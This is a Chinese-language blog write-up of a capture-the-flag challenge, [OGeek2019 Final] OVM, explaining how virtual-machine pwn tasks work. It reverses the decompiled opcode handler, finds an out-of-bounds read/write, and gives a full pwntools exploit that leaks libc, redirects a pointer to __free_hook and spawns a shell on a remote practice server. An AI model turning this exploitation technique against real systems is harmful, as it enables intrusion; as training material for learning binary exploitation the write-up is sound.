VMPwn入门

前言

好像距离上一次更新博客很久很久了(咕咕咕),今天是写一篇关于VMPWN的萌新入门学习笔记哈哈哈。

起因是上海大学生原题0解,痛定思痛,以后打过的比赛要及时复现才行233。

室友有陪女朋友的,有打游戏的,只有我孤独学习VMPwn~

VMPwn简介

定义

VMPwn指在程序中实现运算指令来模拟程序的运行(汇编类),或者在程序中自定义运算指令的程序(编译类)。

简单来说就是用程序、代码来实现模拟PC中某个部件。

题目特征

  • 代码量大,仔细观察可以发现重复度高
  • 存在模拟的寄存器(bp、sp、pc等等)、opcode存储区域、模拟的堆栈区域、模拟的输出存储区域
  • 存在一个analyser分析器,用来分析用户输入的opcode
  • 循环读取opcode并转化为伪汇编指令

核心点

逆向出程序的代码中每一部分对应的汇编代码,理清程序逻辑。目前大多数题目都是越界溢出,难点在如何逆向。

经典例题

  • ciscn_2019_qual_virtual
  • [OGeek2019 Final] OVM
  • RCTF2020 VM
  • 上海大学生 cpu_emulator

下面直接看例题。

[OGeek2019 Final] OVM

题目分析

首先是checksec:64位,除了没canary其他保护全开。

ovm_checksec

下面直接分析代码,注意这里部分变量为了好理解,笔者有重命名。

主函数代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned __int16 size; // [rsp+2h] [rbp-Eh]
unsigned __int16 PC; // [rsp+4h] [rbp-Ch]
unsigned __int16 _SP; // [rsp+6h] [rbp-Ah]
int v7; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]

comment[0] = malloc(0x8CuLL); //(注意)comment是指针数组,元素0的位置存了malloc返回的指针
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
signal(2, signal_handler);
write(1, "WELCOME TO OVM PWN\n", 0x16uLL);
write(1, "PC: ", 4uLL);
_isoc99_scanf("%hd", &PC);
getchar();
write(1, "SP: ", 4uLL);
_isoc99_scanf("%hd", &_SP);
getchar();
reg[13] = _SP; // 模拟的SP寄存器
reg[15] = PC; // 模拟的PC寄存器
write(1, "CODE SIZE: ", 0xBuLL);
_isoc99_scanf("%hd", &size); // size的单位是4字节
getchar();
if ( _SP + size > 65536 || !size )
{
write(1, "EXCEPTION\n", 0xAuLL);
exit(155);
}
write(1, "CODE: ", 6uLL);
running = 1;
for ( i = 0; size > i; ++i )
{
_isoc99_scanf("%d", &opcode[PC + i]);
if ( (opcode[i + PC] & 0xFF000000) == 0xFF000000 )// 这里是对opcode的值进行限定,如果是FF开头就转成E0退出程序,
opcode[i + PC] = 0xE0000000;
getchar();
}
while ( running )
{
v7 = fetch(); // 一次读取opcode数组中的一个元素,四字节大小
execute(v7); // 执行读取到用户输入的4字节指令片段
}
write(1, "HOW DO YOU FEEL AT OVM?\n", 0x1BuLL);
read(0, comment[0], 0x8CuLL);
sendcomment(comment[0]); // free掉comment[0]
write(1, "Bye\n", 4uLL);
return 0;
}

这里经过不断调试,踩了个坑:直接输入0xFF000000是不会打印reg[0~15]的,注释处也标记了,按理说这里应该是给PC置大于1的值,然后我们opcode第一个元素写入0xFF000000来绕过,但是这里是给SP置大于1的值

重头戏在execute(),也就是我们重点要逆向的地方,先来看题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
ssize_t __fastcall execute(int a1)
{
ssize_t result; // rax
unsigned __int8 byte1; // [rsp+18h] [rbp-8h]
unsigned __int8 byte2; // [rsp+19h] [rbp-7h]
unsigned __int8 byte3; // [rsp+1Ah] [rbp-6h]
signed int i; // [rsp+1Ch] [rbp-4h]

byte3 = (a1 & 0xF0000u) >> 16;
byte2 = (a1 & 0xF00) >> 8;
byte1 = a1 & 0xF;
result = HIBYTE(a1);
if ( HIBYTE(a1) == 0x70 )
{
result = reg;
reg[byte3] = reg[byte1] + reg[byte2];
return result;
}
if ( result > 0x70 )
{
if ( result == 0xB0 )
{
result = reg;
reg[byte3] = reg[byte1] ^ reg[byte2];
return result;
}
if ( result > 0xB0 )
{
if ( result == 0xD0 )
{
result = reg;
reg[byte3] = reg[byte2] >> reg[byte1];
return result;
}
if ( result > 0xD0 )
{
if ( result == 0xE0 )
{
running = 0;
if ( !reg[13] )
return write(1, "EXIT\n", 5uLL);
}
else if ( result != 0xFF )
{
return result;
}
running = 0;
for ( i = 0; i <= 15; ++i )
printf("R%d: %X\n", i, reg[i]); // 打印寄存器r[0~15]
result = write(1, "HALT\n", 5uLL);
}
else if ( result == 0xC0 )
{
result = reg;
reg[byte3] = reg[byte2] << reg[byte1];
}
}
else
{
switch ( result )
{
case 0x90:
result = reg;
reg[byte3] = reg[byte1] & reg[byte2];
break;
case 0xA0:
result = reg;
reg[byte3] = reg[byte1] | reg[byte2];
break;
case 0x80:
result = reg;
reg[byte3] = reg[byte2] - reg[byte1];
break;
}
}
}
else if ( result == 0x30 )
{
result = reg;
reg[byte3] = opcode[reg[byte1]];
}
else if ( result > 0x30 )
{
switch ( result )
{
case 0x50:
LODWORD(result) = reg[13];
reg[13] = result + 1;
result = result;
stack[result] = reg[byte3];
break;
case 0x60:
--reg[13];
result = reg;
reg[byte3] = stack[reg[13]];
break;
case 0x40:
result = opcode;
opcode[reg[byte1]] = reg[byte3];
break;
}
}
else if ( result == 0x10 )
{
result = reg;
reg[byte3] = a1;
}
else if ( result == 0x20 )
{
result = reg;
reg[byte3] = a1 == 0;
}
return result;
}

首先这里又有个坑,byte3 = (a1 & 0xF0000u) >> 16;这段代码拿python一跑就知道少了个F,应该是byte3 = (a1 & 0xFF0000u) >> 16;

这种代码算比较简单的,逐段分析就可以逆向出功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0x10: reg[byte3] = a1;
0x20: reg[byte3] = a1 == 0;



0x30: reg[byte3] = opcode[reg[byte1]]; 读
mov reg[byte3], opcode[reg[byte1]]
0x40: opcode[reg[byte1]] = reg[byte3]; 写
mov opcode[reg[byte1]], reg[byte3]



0x50: ++reg[13] # push reg[byte3]
stack[--reg[13]] = reg[byte3];
0x60: --reg[13]; # pop reg[byte3]
reg[byte3] = stack[reg[13]];
0x70: reg[byte3] = reg[byte1] + reg[byte2];
0x80: reg[byte3] = reg[byte2] - reg[byte1];
0x90: reg[byte3] = reg[byte1] & reg[byte2];
0xA0: reg[byte3] = reg[byte1] | reg[byte2];
0xB0: reg[byte3] = reg[byte1] ^ reg[byte2];
0xC0: reg[byte3] = reg[byte2] << reg[byte1];
0xD0: reg[byte3] = reg[byte2] >> reg[byte1];
0xE0: exit
0xFF: print reg[0~15]

这里显然是当opcode[i]的高字节等于0x30或者0x40时由于数组下标没有判断,造成数组越界读写漏洞。

解题思路

首先看回main函数,最下面允许用户输入数据到comment[0],然后free(comment[0]):

1
2
3
4
5
6
comment[0] = malloc(0x8CuLL);									//(注意)comment是指针数组,元素0的位置存了malloc返回的指针
...
...
...
read(0, comment[0], 0x8CuLL);
sendcomment(comment[0]); // free掉comment[0]

由于数组越界读写我们可以读写内存,如果我们能覆盖__free_hook的地址为system,然后再在comment[0]指向的内存区域写入/bin/sh\00,即可getshell。

这里比较巧妙,我们让comment[0]指向__free_hook-8,这样一来,comment[1]就会指向__free_hook的地址,那么我们最后输入的时候,输入/bin/sh\00+p64(system_addr)即可覆盖并传参。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#coding=utf-8
from pwn import *
context.log_level = 'debug'
#context.terminal = ['tmux','sp','-h']
io = remote('node3.buuoj.cn', 27841)
#io = process('./ovm')

opcode = []

# 只能set 1字节
def set_byte_reg(reg_index, data):
opcode.append(u32((p8(0x10)+p8(reg_index)+p8(0xff)+p8(data))[::-1]))

def add_reg1_reg2(res,a,b):
opcode.append(u32((p8(0x70)+p8(res)+p8(a)+p8(b))[::-1]))

def sub_reg1_reg2(res,a,b):
opcode.append(u32((p8(0x80)+p8(res)+p8(a)+p8(b))[::-1]))

def left_reg1_reg2(res,a,b):
opcode.append(u32((p8(0xC0)+p8(res)+p8(a)+p8(b))[::-1]))

def right_reg1_reg2(res,a,b):
opcode.append(u32((p8(0xD0)+p8(res)+p8(a)+p8(b))[::-1]))

def mv_reg_opcode(reg_index, op_reg_index):
opcode.append(u32((p8(0x30)+p8(reg_index)+p8(0)+p8(op_reg_index))[::-1]))

def mv_opcode_reg(op_reg_index, reg_index):
opcode.append(u32((p8(0x40)+p8(reg_index)+p8(0)+p8(op_reg_index))[::-1]))

def set_reg(reg_index,data):
set_byte_reg(reg_index,0)
set_byte_reg(7,24)
set_byte_reg(8,16)
set_byte_reg(9,8)

set_byte_reg(10,(data>>24))
set_byte_reg(11,(data>>16 & 0xff))
set_byte_reg(12,(data>>8 & 0xff))
set_byte_reg(14,(data & 0xff))

left_reg1_reg2(10,10,7)
left_reg1_reg2(11,11,8)
left_reg1_reg2(12,12,9)

add_reg1_reg2(reg_index,reg_index,14)
add_reg1_reg2(reg_index,reg_index,12)
add_reg1_reg2(reg_index,reg_index,11)
add_reg1_reg2(reg_index,reg_index,10)

def show_reg():
opcode.append(0xff000000)

libc = ELF('../libc-2.23.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('/glibc/2.23/64/lib/libc-2.23.so')
free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']
stderr = libc.symbols['stderr']
comment = 0x0000000000202040
opcode_addr = 0x0000000000202060
reg = 0x0000000000242060
stderr_got = 0x0000000000201FF8

"""
R7=24
R8=16
R9=8
"""
#R1=stderr_low
set_reg(0,0xffffffe6)
mv_reg_opcode(1,0)
#R2=stderr_high
set_reg(0,0xffffffe7)
mv_reg_opcode(2,0)

# 计算free_hook-8,低字节存入R3,高字节存入R4
set_reg(0,free_hook-stderr-8)
add_reg1_reg2(3,1,0)
set_reg(0,0)
add_reg1_reg2(4,2,0)

# 把free_hook-8写入comment[0]
set_reg(0,0xfffffff8)
mv_opcode_reg(0,3)
set_reg(0,0xfffffff9)
mv_opcode_reg(0,4)

show_reg()



io.sendlineafter('PCPC:', '0')
io.sendlineafter('SP:', '2')
io.sendlineafter('SIZE:', str(len(opcode)))
io.recvuntil('CODE:')

for i in range(len(opcode)):
io.sendline(str(opcode[i]))


io.recvuntil('R1: ')
low = int(io.recvuntil('\n',drop=True),16)
io.recvuntil('R2: ')
high = int(io.recvuntil('\n',drop=True),16)
#print(hex(high))
#print(hex(low))
#hex((0x7f20<<32)+(0x48944700))
stderr_addr = (high<<32)+low
#print(stderr_addr)
base = stderr_addr - stderr
system_addr = base + system
free_hook_addr = base + free_hook

low = (free_hook_addr -8)&0xffffffff
high = ((free_hook_addr-8)&0xffff00000000)>>32

print(hex(free_hook_addr-8))
#print(hex(low))
#print(hex(high))

io.sendlineafter('HOW DO YOU FEEL AT OVM?\n', b'/bin/sh\00'+p64(system_addr))

#gdb.attach(io)
io.interactive()

小结

这次复现力求搞懂每一个细节,每一步原理,用Ex师傅的话来说,不要为了刷题而刷题。

发生甚么事了?哦,断点了啊,那没事了。时间到了,该熄灯睡觉了,剩下的下次写~

冲冲冲!

0%